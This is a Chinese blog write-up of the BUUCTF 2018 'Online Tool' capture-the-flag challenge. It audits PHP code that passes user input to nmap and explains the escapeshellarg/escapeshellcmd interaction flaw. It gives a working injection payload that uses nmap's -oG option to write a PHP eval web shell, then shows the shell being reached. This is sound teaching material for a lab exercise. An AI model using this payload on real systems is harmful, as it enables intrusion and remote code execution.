web:[BUUCTF 2018]Online Tool

题目

打开页面显示如下,进行代码审计

上述代码主要功能是接收‘host’参数,后使用nmap扫描主机端口

首先检查是否存在HTTP_X_FORWARDED_FOR头,若存在,将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址

后用检查get‘host’是否设置,如果没有就会用highlight_file(FILE)函数,高亮显示代码

若设置了,host的值会被存储到变量$host中,然后将escapeshellarg函数会对其进行转义处理,以防止注入攻击。然后,生成一个基于远程ip地址的md5散列值,将其作为沙箱目录的名称,并切换到这个目录下:

$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
echo 'you are in sandbox '.$sandbox;  
@mkdir($sandbox);  
chdir($sandbox);

代码首先使用远程IP地址($_SERVER['REMOTE_ADDR'])和一个固定字符串("glzjin")生成一个MD5散列值,并将其存储在变量$sandbox中。接着,它输出一个包含这个散列值的消息("you are in sandbox"),然后创建(mkdir)一个以这个散列值为名称的目录,并切换(chdir)到这个新创建的目录下。

注意,这段代码使用了@mkdirchdir函数,并且在mkdir函数中使用了错误抑制运算符(@),这意味着如果在尝试创建目录时遇到错误,错误信息会被抑制,不会在页面上显示出来

最后,nmap命令扫描指定主机。

经过上述代码审计可以发现,最后一句echo system的语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是变量可控的,可以想到使用&&执行多条命令,但是代码中存在对host的过滤:escapeshellarg和escapeshellcmd两个函数

经过escapeshellcmd函数的处理后大部分命令都会被转义,但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞

(这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客)

可以利用这点进行恶意语句插入,但&&、||等逻辑符号都会被转义,只能使用nmap命令“-oG”进行写文件

构造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

写入文件成功,接下来访问写入的文件,由代码审计可得,文件再$sandbox目录下

http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php

然后使用蚁剑连接

 得到flag

参考文章链接:

[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值